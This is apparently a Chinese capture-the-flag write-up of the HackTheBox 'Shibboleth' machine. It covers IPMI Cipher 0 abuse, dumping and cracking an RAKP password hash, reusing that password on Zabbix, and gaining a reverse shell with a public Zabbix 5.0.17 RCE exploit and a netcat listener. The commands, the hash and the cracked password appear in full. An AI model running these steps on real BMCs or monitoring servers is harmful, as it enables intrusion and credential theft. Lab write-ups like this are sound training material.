HackTheBox Shibboleth 渗透测试:从 IPMI 信息泄露到 Zabbix RCE 与 MariaDB 提权

一句话摘要

file-20260520180305910

file-20260520195054150

一、信息搜集#

1、TCP 端口扫描#

tcp 全端口扫描:

Bash
$ sudo nmap -sS -p- -Pn -n 10.129.179.194 -T4 --min-rate 10000 -oA tcp_ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-20 06:52 CDT
Nmap scan report for 10.129.179.194
Host is up (0.012s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.22 seconds

结果显示就开放了一个 TCP 端口。

由于后续渗透都是基于端口进行的,这里有必要进行一次差异化扫描,确保端口开放信息的准确性:

Bash
$ sudo nmap -sS -Pn -n -p- 10.129.179.194 -T4 --min-rate 5000 -oA tcp_ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-20 07:20 CDT
Nmap scan report for 10.129.179.194
Host is up (0.0041s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.30 seconds

降低速率之后,80 依旧显示开放,具备高置信度,并且本次扫描也没有出现第一次扫描没有出现的端口。因此,靶机在 TCP 端口这块,大致就只是开放了 80。

对 80 端口进行默认脚本扫描以及指纹识别:

Bash
$ sudo nmap -sV -sC -p 80 -Pn -n 10.129.179.194 -oA tcp_80_detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-20 06:55 CDT
Nmap scan report for 10.129.179.194
Host is up (0.0063s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://shibboleth.htb/
Service Info: Host: shibboleth.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.56 seconds

80 上运行的服务指纹信息:Apache httpd 2.4.41。

脚本 http-title 扫描出一个重定向信息,目的地址是:http://shibboleth.htb/。

脚本运行时并没有跟随重定向(Did not follow redirect)的原因是脚本的保守策略,因为从 10.129.179.194 到一个域名,这涉及到了授权测试范围的问题,namp 为了防止“打偏”,就干脆不跳转,只是显示了这条信息。

确认重定向信息:

Bash
$ curl http://10.129.179.194 -I
HTTP/1.1 302 Found
Date: Wed, 20 May 2026 12:23:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://shibboleth.htb/
Content-Type: text/html; charset=iso-8859-1

确实响应 302,并提示重定向的地址为:http://shibboleth.htb/。

将该域名添加到 /etc/hosts 文件中:

Bash
$ echo "10.129.179.194 shibboleth.htb" | sudo tee -a /etc/hosts
10.129.179.194 shibboleth.htb
$ tail -n 1 /etc/hosts
10.129.179.194 shibboleth.htb

2、TCP 80#

whatweb:

Bash
$ whatweb http://shibboleth.htb
http://shibboleth.htb [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[contact@example.com,info@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.179.194], Lightbox, PoweredBy[enterprise], Script, Title[FlexStart Bootstrap Template - Index]

除了之前看到过的指纹信息,这里还出现了几个邮箱。

更重要的是 Title 中的信息:FlexStart Bootstrap Template

Bootstrap 是一个前端工具包,用于帮助开发者快速、高效、规范地构建网页 UI。而 FlexStart 是 Bootstrap 的一个模板,可以理解为该工具包的使用示例。

浏览器访问:

file-20260520210040860

浏览后发现,基本只是作为展示用途,没有实际有用的交互。

尝试联系部分:

file-20260521143709365

提交之后:

file-20260521143756799

能发现向 contact.php 以 POST 的方式提交了表单数据:

但是响应就是:

file-20260521143856192

也不是一个有效的功能。

末尾的订阅:

file-20260521144212380

点击订阅之后,会像根目录 POST 表单数据,

file-20260521144413786

但是得到的效果好像仅仅只是重新加载了根目录界面:

file-20260521144252062

因此大概率也是无效的。

末尾还有一些联系信息:

file-20260521144517196

可惜这里是靶场,并没有社工的用图。

还有一个信息,就是末尾的:

Bash
$curl http://shibboleth.htb/ | grep -oE 'Powered[^"]*on'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 59474  100 59474    0     0   168k      0 --:--:-- --:--:-- --:--:--  168k
Powered by enterprise monitoring solutions based on Zabbix & Bare Metal BMC automation

中文翻译过来就是:由基于 Zabbix 和 Bare Metal BMC 自动化的企业级监控解决方案提供支持

这似乎又暴露了两个组件。

首先 Zabbix(网站:http://zabbix.com/):

file-20260521144924874

这是一款开源的监控软件。它旨在为大规模 IT 环境提供全方位的监控,能够对服务器、网络设备、虚拟机、云服务、应用程序、数据库等各类资产进行实时监控、性能数据收集以及异常报警。

说明目标上可能存在 ZABBIX 控制台,只是我们现在还没有找到。

其次,Bare Metal BMC。

其中 BMC 全称为 Baseboard Management Controller(基板管理控制器)是一颗嵌入在服务器主板上的独立芯片(通常是 ARM 架构的微处理器),拥有自己独立的操作系统(如开源的 OpenBMC 或厂商定制的 Linux)、独立的微处理器、内存、存储以及专属的物理网口(通常叫 IPMI)。

Bare Metal(翻译:裸金属)本质上只是一个修饰词,可以理解为用于描述没有任何虚拟化软件(Hypervisor)或第三方操作系统干扰的、纯粹的物理计算机硬件的形容词。

因此,我们有理由怀疑,目前看到的 Web 界面可能并不是主机上运行的 http 服务,而是 BMC 上开放的。

这里又引出一个关键信息,IPMI。其全称为 Intelligent Platform Management Interface,中文通常翻译为智能平台管理接口。它是用于硬件管理和监控的“国际通用标准协议”。

大多数厂商的 BMC 默认会在其 UDP 623 端口上运行该协议。

验证一下:

Bash
$ sudo nmap -sU -p 623 10.129.179.194
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-21 02:35 CDT
Nmap scan report for 10.129.179.194
Host is up (0.0017s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

确实存在,看来我们的目标大概率是一个 BMC。

该 UDP 端口暴露是存在安全问题的,这个我们后续再提,这里先专注 Web。

接下来的目标就是查找 ZABBIX 的管理控制界面或者登入界面,

我打算先通过页面源码查看是否存在子域名以及路径信息。

子域名:

Bash
$curl -s http://shibboleth.htb/ | grep -oE '[a-zA-Z0-9.-]+\.shibboleth\.htb'

没有输出结果。

关于目录路径,只看到了资产目录 asserts 以及其子目录。

并且尝试直接访问 /assets 目录可以发现:

file-20260520211738449

存在目录列表泄露的情况。

可以关注 js 目录中的 js 文件,其中只有一个 main.js,里面没有什么特别的信息,就是在开头注释部分能看到 FlexStart 的版本:

Bash
Template Name: FlexStart - v1.2.0

但是这似乎用处不是很大,因为 FlexStart 本质上就是将 Bootstrap 中写好的“工具”拿来用而已。

回归整体,进行目录枚举:

通过参数 --dont-scan 禁止 feroxbuster 扫描 /assets 及其子目录,因为我们知道该目录存在,并且查看过了里面的信息。

关键看这两个:

Bash
$ cat shibboleth_dir | grep -P '^200' | grep txt | grep -v forms
200      GET       15l       71w      499c http://shibboleth.htb/changelog.txt
200      GET        6l       15w      218c http://shibboleth.htb/Readme.txt

changelog.txt:

Bash
$curl http://shibboleth.htb/changelog.txt
Version: 1.2.0
  - Updated Bootstrap to version 5.0.0-beta3
  - Updated all outdated third party vendor libraries to their latest versions
  - Updated the PHP Email Form to V3.1

Version: 1.1.1
  - Updated Bootstrap to version 5.0.0-beta2
  - Updated all outdated third party vendor libraries to their latest versions

Version: 1.1.0
  - Added custom navbar links active on scroll functionality
  - Small fixes and imrovements in assets/js/main.js

Version: 1.0.0
  - Initial Release

可以得到的信息:

  • 目前的 FlexStart 版本为 1.2.0(和我们之前在 js 文件中看到的一样)
  • 其使用的 Bootstrap 版本更新至 5.0.0-beta3

Readme.txt:

Bash
$curl http://shibboleth.htb/Readme.txt
Thanks for downloading this template!

Template Name: FlexStart
Template URL: https://bootstrapmade.com/flexstart-bootstrap-startup-template/
Author: BootstrapMade.com
License: https://bootstrapmade.com/license/

FlexStart 的 README 文件,并没有什么特别的信息。

扫描一下是否还存有其他的虚拟主机:

发现了三个虚拟主机:

Bash
$ cat vhost | jq -r ".results[].host"
monitor.shibboleth.htb
monitoring.shibboleth.htb
zabbix.shibboleth.htb

先添加到 /ect/hosts 文件中,即文件中需要有一行:

Text
10.129.179.194 shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb

3、虚拟主机#

分别访问这三个虚拟主机后会发现,他们返回的都是 ZABBIX 的登入界面:

file-20260521213757325

Bash
$curl http://monitor.shibboleth.htb -I
HTTP/1.1 200 OK
Date: Thu, 21 May 2026 13:39:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=bo44dqfhunm8p3vpj7pa8167pm; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=UTF-8

服务指纹依旧是:Apache/2.4.41

主机显示为 Ubuntu。

尝试登入:

file-20260521214232248

它会向 index.php 发送 POST 请求,返回的响应显示:

file-20260521214344079

说明目标可能存在防暴力破解的措施。并且报错信息也没有暴露“用户是否存在”这个信息。

尝试访问不存在的页面:

没有得到额外的信息。

页面源码中暴露了一个 js 文件:

Bash
$curl -s http://monitor.shibboleth.htb | grep -oP 'js[^"]+js'
js/browsers.js

但是其中并没有什么特别的信息。

在 Burp 中的 Taeget 板块,也能看到几个 JS 文件:

file-20260522142433537

但是其中都没有发现有效信息(版本号之类的)。

进行目录枚举:

使用 --dont-scan 对 Burp 中已经看到的、不太重要的目录(js、asserts)不进行扫描。带上 -x php 是添加扩展名(因为知道目标使用的编程语言),即字典中如果有 test,则 feroxbuster 也会尝试 test.php。

有大量的 200 和 301 响应码。

观察 200:

Bash
$ cat vhost_dir | grep -P '^200' | grep -v 'ico'
200      GET       23l      109w     1828c http://monitor.shibboleth.htb/image.php
200      GET       23l      109w     1831c http://monitor.shibboleth.htb/services.php
200      GET       29l      219w     3689c http://monitor.shibboleth.htb/index.php
200      GET       23l      109w     1832c http://monitor.shibboleth.htb/templates.php
200      GET       23l      109w     1826c http://monitor.shibboleth.htb/map.php
200      GET       23l      109w     1828c http://monitor.shibboleth.htb/setup.php
200      GET       23l      109w     1830c http://monitor.shibboleth.htb/history.php
200      GET       23l      109w     1834c http://monitor.shibboleth.htb/maintenance.php
200      GET       23l      109w     1835c http://monitor.shibboleth.htb/applications.php
200      GET       23l      109w     1828c http://monitor.shibboleth.htb/items.php
200      GET       23l      109w     1829c http://monitor.shibboleth.htb/slides.php
200      GET       29l      219w     3689c http://monitor.shibboleth.htb/
200      GET       23l      109w     1828c http://monitor.shibboleth.htb/chart.php
200      GET       23l      109w     1829c http://monitor.shibboleth.htb/graphs.php
200      GET       23l      109w     1831c http://monitor.shibboleth.htb/overview.php
200      GET       23l      109w     1830c http://monitor.shibboleth.htb/screens.php
200      GET        9l       58w      419c http://monitor.shibboleth.htb/local/README
200      GET       23l      109w     1828c http://monitor.shibboleth.htb/hosts.php
200      GET       24l      149w      957c http://monitor.shibboleth.htb/locale/README

不难发现,除了两个 README 文件,其他文件的响应大小都出奇的一致(109w)。

这说明它们大概率返回的都是同一个页面,而且根据之前的登入界面,可以推断这个响应就是未授权的报错提示。

随机抽取两个:

Bash
$ curl http://monitor.shibboleth.htb/services.php >> 1.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1831  100  1831    0     0  52516      0 --:--:-- --:--:-- --:--:-- 53852
$ curl http://monitor.shibboleth.htb/map.php >> 2.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1826  100  1826    0     0  97143      0 --:--:-- --:--:-- --:--:--   99k

用 diff 命令进行比较:

Bash
$ diff 1.html 2.html --color 
21c21
< <body lang="en"><div class="wrapper"><main><output class="msg-bad msg-global">You are not logged in<div class="msg-details"><ul class="msg-details-border"><li>You must login to view this page.</li><li>If you think this message is wrong, please consult your administrators about getting the necessary permissions.</li></ul></div><div class="msg-buttons"><button type="button" id="login" name="login" onclick="javascript: document.location = &quot;index.php?request=services.php&quot;;">Login</button></div></output></main></div><script type="text/javascript">
---
> <body lang="en"><div class="wrapper"><main><output class="msg-bad msg-global">You are not logged in<div class="msg-details"><ul class="msg-details-border"><li>You must login to view this page.</li><li>If you think this message is wrong, please consult your administrators about getting the necessary permissions.</li></ul></div><div class="msg-buttons"><button type="button" id="login" name="login" onclick="javascript: document.location = &quot;index.php?request=map.php&quot;;">Login</button></div></output></main></div><script type="text/javascript">

不难发现,不同的就只是 request 参数的值:

Bash
$ diff 1.html 2.html | grep -oE 'index\.php[^"]+php'
index.php?request=services.php
index.php?request=map.php

响应的核心阐述就是:

Bash
You must login to view this page.</li><li>If you think this message is wrong, please consult your administrators about getting the necessary permissions.

需要登入后才能访问。

还有两个 README 文件:

Bash
$ cat vhost_dir | grep -oP 'http[^"]+README'
http://monitor.shibboleth.htb/local/README
http://monitor.shibboleth.htb/locale/README

两个都在阐述当前目录中文件在 ZABBIX 中的作用。没有太大的作用。

二、zabbix shell#

1、UDP 623#

上面提到过这个端口开放是存在安全问题的。

Google:

file-20260522150939629

HackTricks 中提到了多个关于 IPMI 的漏洞,排除暴力破解、仅限某厂商 BMC 的几个之后,还剩下:

  • IPMI Authentication Bypass via Cipher 0
  • IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
  • IPMI Anonymous Authentication

(1)IPMI Authentication Bypass via Cipher 0#

首先需要知道“什么是 Cipher 0”。

在 IPMI 2.0 协议中,为了在远程管理服务器时保证安全,其支持使用不同的密码学套件(Cipher Suites),每个套件都是一个数字代号:

file-20260522193318885

上图截自 intel 官方文档:https://www.intel.la/content/dam/www/public/us/en/documents/specification-updates/ipmi-intelligent-platform-mgt-interface-spec-2nd-gen-v2-0-spec-update.pdf

它们定义了三个核心安全要素:

  1. 认证算法(Authentication Algorithm):用于验证用户密码
  2. 完整性算法(Integrity Algorithm):防止数据被篡改
  3. 加密算法(Confidentiality Algorithm):防止数据被窃听

从图中可以看到 Cipher 0 的配置极其特殊:

  • 认证算法:RAKP-none
  • 完整性算法:None
  • 加密算法:None

其设计的初衷是为了在极其信任的内部网络中进行快速测试或不记名访问。但这同样给了攻击者便利。而且,很多服务器厂商(如 Supermicro、Dell、HP 等)的 BMC 固件在默认情况下开启了对 Cipher 0 的支持,且没有做权限限制。

因此,在目标开放 IPMI 并且支持 Cipher 0 的情况下,攻击者只需要知道准确的用户名,即可实现无认证登入 BMC。

这就是“IPMI Authentication Bypass via Cipher 0”

在 HackTricks 中提到了验证方式,使用的是 MSF 的模块:

Bash
auxiliary/scanner/ipmi/ipmi_cipher_zero

打开 MSF 并使用该模块:

Bash
$msfconsole
[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/ipmi/ipmi_cipher_zero

通过 info 命令查看该模块的主要作用,以及需要配置的参数:

从 Description 中的描述可以看出,该模块并不是去获取 Shell 之类的,只是用于检测目标是否存在“ipmi_cipher_zero”的问题。

配置 RHOSTS:

Bash
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_cipher_zero) >> set RHOSTS 10.129.179.7
RHOSTS => 10.129.179.7

注意,由于本 WP 并非一次性写完,期间中断过靶机,因此 IP 地址有变动。后续再出现 IP 变动的情况就不再提醒。

运行模块:

Bash
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_cipher_zero) >> run
[*] Sending IPMI requests to 10.129.179.7->10.129.179.7 (1 hosts)
[+] 10.129.179.7:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

显示目标确实存在该漏洞。

相应的利用工具以及对应示例代码,在 HackTricks 中也有,首先确保本机有 ipmitool 这个工具:

Bash
$ipmitool -V
ipmitool version 1.8.19

但是这有一个问题,上面提到,我们需要有一个合法用户名才能使用该漏洞。可是,目前我们并没有得到有效用户名的信息。

因此,只能靠猜:

Bash
$ipmitool -I lanplus -C 0 -H 10.129.179.7 -U root -P root user list
Error: Unable to establish IPMI v2 / RMCP+ session

无法建立会话。

带上 -v 参数,确保是用户名的问题而不是漏洞本身:

Bash
$ipmitool -I lanplus -C 0 -H 10.129.179.7 -U root -P root -v user list
Loading IANA PEN Registry...
RAKP 2 message indicates an error : illegal parameter
Error: Unable to establish IPMI v2 / RMCP+ session

注意,根据参考命令格式(usage: ipmitool [options...] <command>)-v 需要放在 user list 之后。

错误很明确:

  • RAKP 2 阶段
  • 参数非法

出现该情况,大概率是用户名错误了。

先看看 MSF 判断目标是否存在该漏洞的逻辑。直接找到该模块的源码(https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb):

直接定位之前看到的输出:

Ruby
if info.error_code == 0
  print_good("#{shost}:#{sport} - IPMI - VULNERABLE: Accepted a session open request for cipher zero")

通过是否有错误码来评判是否存在漏洞,去定位 info:

Ruby
info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) #  rescue nil

调用内置的解析器,尝试将接收到的二进制原始数据 (data) 解析为标准的 IPMI 开放会话回复结构体。

看看脚本的请求构造:

Ruby
def scan_host(ip)
console_session_id = Rex::Text.rand_text(4)
scanner_send(
  Rex::Proto::IPMI::Utils.create_ipmi_session_open_cipher_zero_request(console_session_id),
  ip, datastore['RPORT']
)
end

这调用 MSF 内部的 IPMI 工具类,动态构建一个“向目标申请开启 Cipher 0 会话”的原始二进制请求包。

根据官方文档(172-180),要建立 IPMI v2.0 会话,需要完成:

  1. Get Channel Authentication Capabilities request / response
  2. RMCP+ Open Session Request
  3. RMCP+ Open Session Response
  4. RAKP Message 1
  5. RAKP Message 2
  6. RAKP Message 3
  7. RAKP Message 4

ChatGPT Image 2026年5月22日 21_40_06

脚本中发送的请求和响应对应的就是"RMCP+ Open Session Request"和"RMCP+ Open Session Response"。在这一来一回的过程中就确认了 Cipher Suite 的选择。

但是,他们不是直接通过 Cipher Suite ID 这样的形式去确认的。

之前提到,Cipher Suite 本质上就是三个算法的组合:

  • Authentication Algorithm
  • Integrity Algorithm
  • Confidentiality Algorithm

RMCP+ Open Session Request 发送的内容中,就有这三个部分:

file-20260523140823804

file-20260523140837755

file-20260523140848290

他们都提到了一个表:

file-20260523140904404

这正是之前我们看到的 Cipher Suites 表中,每个 Cipher Suites 所选择的具体算法。

简单来说,通过交流这三个算法,就可以唯一确认你要使用的 Cipher Suites。

MSF 脚本通过在请求中指定 Cipher 0,然后观察响应是否正常,就能判定对方是否支持 Cipher 0。

但是,真正要建立完整的 Session 还需要完成后续的 RAKP 4 次握手,工具报错的点就在于第二次握手当中:

file-20260523144856283

之前提示的错误信息是“illegal parameter”,对应表中的 Status Code 为 0x12,这是一个“兜底”错误信息,即报错了但是没有匹配到其他情况就报这个错。

因此,我们遇到的错误还不能准确定位是什么原因,尝试获得更细致的报错信息(-vvv 参数):

没有更多的有效信息。

AI 给了我几个不同厂商的 BMC 的默认用户名(大小写敏感):

  • Supermicro: ADMIN / ADMIN
  • Dell iDRAC: root / calvin
  • HP iLO: Administrator / 出厂随机
  • IBM IMM: USERID / PASSW0RD(注意是数字 0)
  • Lenovo XCC: USERID / PASSW0RD
  • Fujitsu iRMC: admin / admin

一一尝试后发现,Administrator 账户利用成功了:

Bash
$ipmitool -I lanplus -C 0 -H 10.129.178.112 -U Administrator -P "" user list
ID  Name             Callin  Link Auth  IPMI Msg   Channel Priv Limit
1                    true    false      false      USER
2   Administrator    true    false      true       USER

看来真的是用户名的问题。

ipmitool 还支持其他的命令:

先进入交互式界面:

Bash
$ipmitool -I lanplus -C 0 -H 10.129.178.112 -U Administrator -P "" shell
ipmitool>

经过几个命令的尝试:

Bash
ipmitool> mc info
Get Device ID command failed
ipmitool> sel list
Get SEL Info command failed
ipmitool> fru print
FRU Device Description : Builtin FRU Device (ID 0)
Get Device ID command failed
ipmitool> lan print 1
IPMI response is NULL.
Invalid channel: 1
ipmitool> chassis status
Error sending Chassis Status command
ipmitool> user list
IPMI response is NULL.

几乎可以确认,这是模拟的 BMC,而且还是高度阉割版本的。

因此,这并不是突破口。

(2)IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval#

HackTricks 中提到的第二个关于 IPMI 的问题。

漏洞描述:可以获取任意合法用户的 salted hashed passwords。

该漏洞对应 RAKP 第二次握手上。

第二次握手,BMC 会向客户端(文档中写的是 remote console,即远程控制台)发送 Key Exchage Authentication Code:

file-20260523170856650

该字段的值取决于之前交流的 Cipher Suites 中使用的算法。

file-20260523171352851

他们的参数:

file-20260523174213089

其中,有个关键信息 K[UID],这个代表用户密钥,文档中的描述:

Text
The different user keys are specified using the 
notation K[UID], where UID represents the User ID number that is used in the user-specific configuration 
commands in IPMI. 

UID 作为识别某用户的唯一 ID,通过 K[UID] 来分别指定各个用户的密钥。

问题来了,RAKP 的第一次握手是不需要身份认证的,换言之,攻击者可以未经认证发起第一次握手来获取 HMAC 值。而该 HMAC 的计算函数的参数(见上图)是已知的(一些是自己构造的,一些是从 BMC 响应(第二次握手)中可以获取的),唯一的未知数就是用户密钥。

这也就意味着,捕获到 HMAC 就可以在本地进行离线爆破。

而且,该漏洞是 IPMI 2.0 的 RAKP 握手协议设计上的缺陷:在证明客户端知晓密码之前,BMC 就会发送回一个基于密码加密的 HMAC,并且该 HMAC 所基于的会话数据大部分对攻击者来说是已知的。

MSF 上有对应的模块可以利用该漏洞:

Bash
[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/ipmi/ipmi_dumphashes

查看该漏洞描述:

Bash
Description:
  This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
  HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
  file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
  in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.

即本模块会通过默认账户列表去询问出 HMAC 值(如果用户存在则会返回),指定算法为 HMAC-SHA1,并且支持保存 Hash 值到指定文件中。

并且它还给出了后续本地破解的方案,可以使用 hmac_sha1_crack.rb 脚本或者使用 hashcat 并指定模式为 7300。

指定目标 IP 地址:

Bash
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> set RHOSTS 10.129.178.112
RHOSTS => 10.129.178.112

跑模块:

Bash
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> run
[+] 10.129.178.112:623 - IPMI - Hash found: Administrator:c7cc2bf782070000a6ae2b535d2b0f98a21cb2d63124b7adbbc6b9b17767d98a3ca1a3ae04eee98ba123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:2af27dd5b258f42e021c5cf85a8d440431d755ca
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

直接得到了 Administrator 对应的 HMAC 值。

直接用 hashcat 进行本地破解:

得到了明文密码为:ilovepumkinpie1

2、ZABBIX 控制台#

之前通过 Cipher 0 与 IPMI 建立会话后并没有得到有效的信息,想到 Web 处还有一个登入界面,可以尝试密码复用:

file-20260523193920314

成功登入。

在浏览的过程中,可以发现脚注信息:

file-20260523194050220

有了 Zabbix 的准确版本信息:

Bash
Zabbix 5.0.17

通过 searchsploit:

Bash
$searchsploit Zabbix 5.0.17
-------------------------------------- ---------------------------------
 Exploit Title                        |  Path
-------------------------------------- ---------------------------------
Zabbix 5.0.17 - Remote Code Execution | php/webapps/50816.py
-------------------------------------- ---------------------------------
Shellcodes: No Results

可以知道本版本存在 RCE 漏洞。

将 Exp 镜像到本地:

Bash
$searchsploit -m 50816
  Exploit: Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50816
     Path: /usr/share/exploitdb/exploits/php/webapps/50816.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (860)
Copied to: /home/zyf/50816.py

查看脚本:

首先,我们更深入地了解一下 ZABBIX,之前只是简单提到它是一个开源的企业级监控解决方案,能云端监控任何设备(其官方自己宣传的 everything)。

Zabbix 采用经典的服务器-代理架构,主要由以下组件构成:

  • Zabbix Server:负责接收数据、处理告警、执行远程检查,并将数据写入数据库。
  • Zabbix Proxy(可选):作为中间层,代表 Server 收集数据,适用于分布式监控场景,可以减轻 Server 的负载并跨网络边界采集数据。
  • Zabbix Agent:部署在被监控主机上,负责本地数据采集(CPU、内存、磁盘、进程等),将数据主动发送或被动响应给 Server/Proxy。
  • Database:(MySQL、PostgreSQL、Oracle 等)存储配置信息和历史监控数据。
  • Web Frontend(PHP 编写,就是我们当前看到的面板):提供 Web 管理界面,用于配置、可视化和告警管理。

这么一看,“远程监控”的实现就可以简单理解为 Agent 在被监控主机上主动或者被动执行采集,然后将结果返回给 Server 进行数据库的写入,数据库中的内容会反馈到 Web Frontend,用户就可以直接在面板上查看了。

那么 Agent 的采集行动是如何指定的呢?

这就涉及到数据采集方式,Zabbix 支持多种采集方式,和该漏洞最相关的就是“Agent 采集”,分为两种模式:

  • 被动模式(Passive)下,Server 主动向 Agent 发起请求获取数据;
  • 主动模式(Active)下,Agent 主动连接 Server 获取监控项列表并定期上报数据,适合 NAT 或防火墙环境。

继续聚焦“被动模式”,Server 是根据什么来给 Agent 发送请求的呢?

Server 启动时会从数据库加载所有配置信息(主机、监控项、触发器、模板、用户宏等)到内存中的 Configuration Cache(配置缓存)。之后 Server 进行数据采集调度时,直接从这个内存缓存中读取,这样就不用每次都查询数据库了。

而读取的方式就是通过 Server 中的一个 Poller 进程(也称为轮询器),它从 Configuration Cache 中获取需要采集的监控项(item)列表。每个监控项都有一个 nextcheck 时间戳(下次采集时间),由其更新间隔(update interval)决定。Poller 选出当前时间已经到达 nextcheck 的监控项,根据监控项配置(IP、端口、key 等)向对应 Agent 发起请求。采集完数据后,更新该监控项的 nextcheck(当前时间 + update interval),等待下次轮询。

Item(监控项)是数据采集的最小单元,每个 Item 定义了采集什么数据、用什么方式采集、采集频率等。

好,item 又如何定义呢?

没错,在管理员面板中就能手动添加 item,如果要让 Agent 执行命令,只需要在 key 字段处输入对应的命令即可。这就是漏洞的入口点,只要 key 字段没有得到很好的检测/过滤,即可实现 RCE。

当时找到该漏洞的作者呢,应该就是理解了 ZABBIX 的机制原理之后,从 Agent 能执行代码这条路,一路追踪到数据库的写入。

file-20260525201423939

file-20260525201453453

file-20260525201538256

可以先手动尝试一下,输入对应的语法:

Bash
system.run[<command>]

file-20260525202407023

file-20260525202424693

命令执行成功。

该版本下,命令并没有得到限制,只是验证了 key 字段是否存在,因此导致了任意代码执行。

后续直接利用现有脚本,开始利用该漏洞(当然也可以手动反弹 shell,也不是很麻烦)。

利用方法在代码中已经表明:

Bash
python expoit.py <target url>  <username> <password> <attacker ip> <attacker port>

替换真实信息之后,运行:

Bash
$python 50816.py http://monitor.shibboleth.htb Administrator ilovepumkinpie1 10.10.16.21 4444
[*] this exploit is tested against Zabbix 5.0.17 only
[*] can reach the author @ https://hussienmisbah.github.io/
[+] the payload has been Uploaded Successfully
[+] you should find it at http://monitor.shibboleth.htb/items.php?form=update&hostid=10084&itemid=33617
[+] set the listener at 4444 please...
[?] note : it takes up to +1 min so be patient :)
[+] got a shell ? [y]es/[N]o:

会提示让我们监听本机的 4444 端口:

Bash
$nc -lvnp 4444
Listening on 0.0.0.0 4444

并且提示说利用可能会需要 1 分钟。

过了一会儿,我们就可以看到监听窗口出现反弹回来的 shell 了:

Bash
$nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.177.211 38260
sh: 0: can't access tty; job control turned off
$

3、稳定化 Shell#

先进行 shell 的稳定化。

确认目标是否存在 python 环境:

Bash
$ python --version
sh: 1: python: not found
$ python3 --version
Python 3.8.10

存在。

开始稳定化:

Bash
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
zabbix@shibboleth:/home$ export TERM=xterm
export TERM=xterm
zabbix@shibboleth:/home$

接着通过 ctrl + z 挂起当前 session,在攻击机终端中输入:

Bash
 $stty raw -echo; fg
nc -lvnp 4444

zabbix@shibboleth:/home$

这样就获得一个稳定的 shell 了:

  • 支持 Tab 自动补全
  • 支持方向键历史
  • Ctrl+C 安全(只杀 Shell 内的命令,不杀 Shell 本身)
  • 能跑 vim/nano/ssh

三、ipmi-svc shell#

1、信息搜集#

Bash
zabbix@shibboleth:/home$ whoami
zabbix
zabbix@shibboleth:/home$ id
uid=110(zabbix) gid=118(zabbix) groups=118(zabbix)

当前用户名为 zabbix,并且是一个系统账户,并非普通用户,这类账户的权限通常都很低。

在家目录中可以看到:

Bash
zabbix@shibboleth:/home$ ls
ipmi-svc

说明有一个用户叫 ipmi-svc。

查看当前用户有哪些 sudo 权限:

Bash
zabbix@shibboleth:/home$ sudo -l
[sudo] password for zabbix:
Sorry, try again.

并不知道密码,并且尝试密码复用也是错误的。

既然用到了密码复用,也顺带试一下刚刚发现的账户:

Bash
zabbix@shibboleth:/home$ su - ipmi-svc
Password:
ipmi-svc@shibboleth:~$

直接登入成功了,看来确实存在密码复用的现象。

2、User Flag#

在家目录中就可以找到 user flag:

Bash
ipmi-svc@shibboleth:~$ cat user.txt
615f5a*********************

3、继续信息搜集#

这次是普通用户了:

Bash
ipmi-svc@shibboleth:~$ id
uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc)

查看该用户有哪些 sudo 权限:

Bash
ipmi-svc@shibboleth:~$ sudo -l
[sudo] password for ipmi-svc:
Sorry, user ipmi-svc may not run sudo on shibboleth.

并没有。

